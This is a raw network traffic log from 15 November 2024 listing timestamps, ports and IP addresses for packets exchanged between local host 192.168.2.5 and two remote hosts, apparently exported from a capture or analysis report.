Nov 15, 2024 16:16:31.377388000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377405882 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377405882 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377405882 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377430916 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377454042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377465963 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377475023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377485991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377496004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377506971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377527952 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377551079 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377598047 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377608061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377619982 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377630949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377643108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377728939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377741098 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377741098 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377741098 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377753019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377765894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377783060 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377801895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377809048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377818108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377826929 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.377830029 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377888918 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.377888918 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.415373087 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.415385008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.415397882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.415407896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.415496111 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.415496111 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.415601969 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.438586950 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.439335108 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.439346075 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.439802885 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.440994978 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.441070080 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.441952944 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.455379009 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.473146915 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.473180056 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.473670006 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.475867987 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.475955009 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.477642059 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.479207039 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.479536057 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.479574919 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.483093977 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.483176947 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.483346939 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.483606100 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.483731985 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.483737946 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.483757019 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.491301060 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491328955 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491343021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491411924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491446018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491473913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491487026 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491498947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491511106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491523981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491543055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491554976 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491563082 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.491563082 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.491563082 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.491563082 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.491563082 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.491571903 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491591930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491604090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491611958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.491626978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491646051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491658926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491674900 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491684914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491697073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491708994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491720915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491734028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.491781950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.491781950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.491781950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.491781950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.491781950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492144108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492328882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492419958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492432117 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492434025 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492444992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492459059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492491961 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492507935 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492537022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492551088 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492563009 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492573977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492585897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492599010 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492608070 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492610931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492624044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492640018 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492640018 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492665052 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492697001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492708921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492719889 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492731094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492743015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492755890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492767096 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492778063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492789984 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492810965 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492830038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492841959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492854118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492866039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492877007 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492885113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492885113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492885113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492885113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492885113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492889881 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492903948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492925882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492943048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492943048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.492945910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492960930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492971897 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492983103 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.492994070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493002892 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493005991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493019104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493031025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493041992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493046045 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493055105 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493065119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493072987 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493084908 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493122101 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493307114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493319988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493349075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493360043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493371964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493383884 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493395090 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493421078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493421078 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493421078 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493421078 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493436098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493448973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493462086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493473053 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493484974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493505001 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493505001 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493530989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493557930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493571043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493576050 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493592024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493609905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493621111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493633986 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493643999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493655920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493655920 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493655920 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493655920 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493669033 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493680954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493693113 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493704081 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493710995 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493710995 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493732929 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493746996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493758917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493767977 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493772030 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493783951 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493797064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493808031 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493809938 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493809938 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493820906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493832111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493860006 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493864059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493877888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493882895 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493894100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493911982 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493916988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493932009 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493952990 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493961096 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493973970 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493984938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.493989944 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.493999004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494010925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494023085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494035959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494095087 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494116068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494124889 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494124889 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494124889 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494126081 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494127035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494139910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494152069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494201899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494214058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494226933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494239092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494250059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494312048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494312048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494312048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494312048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494312048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494334936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494349003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494360924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494374990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494386911 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494405031 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494446039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494458914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494469881 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494481087 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494493008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494512081 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494512081 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494527102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494554996 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494582891 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494596004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494607925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494620085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494642019 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494678020 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.494721889 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494735003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494748116 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494856119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.494879961 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495150089 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495253086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495265961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495277882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495287895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495316029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495330095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495330095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495337009 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495352030 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495364904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495373964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495377064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495390892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495403051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495414972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495445013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495464087 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495482922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495502949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495513916 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495526075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495537996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495548964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495560884 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495573044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495584011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495593071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495593071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495596886 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495629072 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495629072 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495641947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495670080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495682955 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495693922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495707989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495722055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495734930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495748043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495754004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495754004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495754004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495754004 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495762110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495851040 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495853901 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495853901 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495853901 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.495912075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495923996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495965958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495979071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.495990992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496004105 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496006966 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496006966 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496048927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496059895 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496089935 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496181965 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496206045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496218920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496229887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496241093 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.496248960 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496248960 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496248960 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.496253014 CET	80	49759	185.215.113.206	192.168.2.5
